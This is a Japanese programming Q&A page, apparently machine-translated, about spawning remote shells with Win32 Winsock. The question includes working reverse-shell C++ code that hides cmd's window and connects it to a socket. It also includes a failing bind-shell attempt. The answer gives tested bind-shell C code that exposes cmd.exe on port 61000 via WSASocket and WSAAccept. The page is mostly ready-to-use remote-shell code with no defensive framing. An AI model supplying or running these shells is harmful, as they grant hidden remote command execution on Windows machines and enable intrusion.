[ad_1]
こんにちは、win32 winsock でバインド/リバース シェルを取得したいと考えています。
STARTF_USESTDHANDLES で CreateProcess を呼び出すと、期待どおりにリバース シェル (クライアント モード) が得られました。 ただし、同じアプローチでバインド シェル (サーバー モード) を取得できませんでした。
クライアント モード (リバース シェル) とサーバー モード (バインド シェル) の違いは何ですか? バインド シェルを取得するにはどうすればよいですか?
あなたの助けに感謝。
よろしく、
私が試したこと:
クライアント モード (リバース シェル) のコードは次のとおりです。期待どおりに動作しました。
C++
#include "stdafx.h" #define _WINSOCK_DEPRECATED_NO_WARNINGS #define WIN32_LEAN_AND_MEAN #include <windows.h> #include <winsock2.h> #include <ws2tcpip.h> #pragma comment(lib, "ws2_32.lib") #define BUFFERLEN (1024) int spawnShell(void *my_socket, char *my_cmd) { STARTUPINFO s_info = { 0 }; PROCESS_INFORMATION p_info; s_info.cb = sizeof(s_info); s_info.wShowWindow = SW_HIDE; s_info.dwFlags = STARTF_USESTDHANDLES; s_info.hStdInput = my_socket; s_info.hStdOutput = my_socket; s_info.hStdError = my_socket; CreateProcess(NULL, my_cmd, NULL, NULL, TRUE, 0, NULL, NULL, (STARTUPINFO*)&s_info, &p_info); return 0; } int main() { WSADATA wsaData; struct sockaddr_in addr; SOCKET sock; int len; char data[BUFFERLEN]; WSAStartup(MAKEWORD(2, 2), &wsaData); sock = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0); addr.sin_family = AF_INET; addr.sin_addr.s_addr = inet_addr("127.0.0.1"); addr.sin_port = htons(22222); connect(sock, (SOCKADDR *)&addr, sizeof(addr)); // send and receive test send(sock, "HELLO\n", 6, 0); len = recv(sock, data, BUFFERLEN, 0); data[len] = '\0'; printf(data); spawnShell((void *)sock, "cmd"); return 0;
}
サーバー モード (シェルのバインド) のコードは次のとおりです。動作しませんでした。
C++
#include "stdafx.h" #define _WINSOCK_DEPRECATED_NO_WARNINGS #define WIN32_LEAN_AND_MEAN #include <windows.h> #include <winsock2.h> #include <ws2tcpip.h> #pragma comment(lib, "ws2_32.lib") #define BUFFERLEN (1024) int spawnShell(void *my_socket, char *my_cmd) { STARTUPINFO s_info = { 0 }; PROCESS_INFORMATION p_info; s_info.cb = sizeof(s_info); s_info.wShowWindow = SW_HIDE; s_info.dwFlags = STARTF_USESTDHANDLES; s_info.hStdInput = my_socket; s_info.hStdOutput = my_socket; s_info.hStdError = my_socket; CreateProcess(NULL, my_cmd, NULL, NULL, TRUE, 0, NULL, NULL, (STARTUPINFO*)&s_info, &p_info); return 0; } int main() { WSADATA wsaData; SOCKET sock0; struct sockaddr_in addr; struct sockaddr_in client; SOCKET sock; int len; char data[BUFFERLEN]; WSAStartup(MAKEWORD(2, 0), &wsaData); sock0 = socket(AF_INET, SOCK_STREAM, 0); addr.sin_family = AF_INET; addr.sin_port = htons(11111); addr.sin_addr.S_un.S_addr = INADDR_ANY; bind(sock0, (struct sockaddr *)&addr, sizeof(addr)); listen(sock0, 5); len = sizeof(client); sock = accept(sock0, (struct sockaddr *)&client, &len); // send and receive test send(sock, "HELLO\n", 6, 0); len = recv(sock, data, BUFFERLEN, 0); data[len] = '\0'; printf(data); spawnShell((void *)sock,"cmd"); closesocket(sock); WSACleanup(); return 0; }
解決策 1
この bindshell をテストしましたが、動作しています。 動作させるには、WSASocket と WSAAccept を使用する必要があります (CreateProcess I/O リダイレクトには、重複していないハンドルが必要です。これが、ソケットの使用が機能せず、WSASOCKET が機能する理由です)。
C
#include <stdio.h> #include <winsock2.h> #pragma comment(lib,"ws2_32.lib") int main() { SOCKET s,cs; WSADATA ws; struct sockaddr_in server,client; STARTUPINFO si; PROCESS_INFORMATION pi; int port = 61000; WSAStartup(MAKEWORD(2,2), &ws); s = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); server.sin_family = AF_INET; server.sin_port = htons(port); server.sin_addr.s_addr = INADDR_ANY; bind(s, (struct sockaddr*)&server, sizeof(server)); listen(s, SOMAXCONN); cs = WSAAccept(s, NULL, NULL, NULL, 0); memset(&si, 0, sizeof(si)); si.cb = sizeof(si); si.dwFlags = STARTF_USESTDHANDLES; si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)cs; CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi); return 0; }
[ad_2]
コメント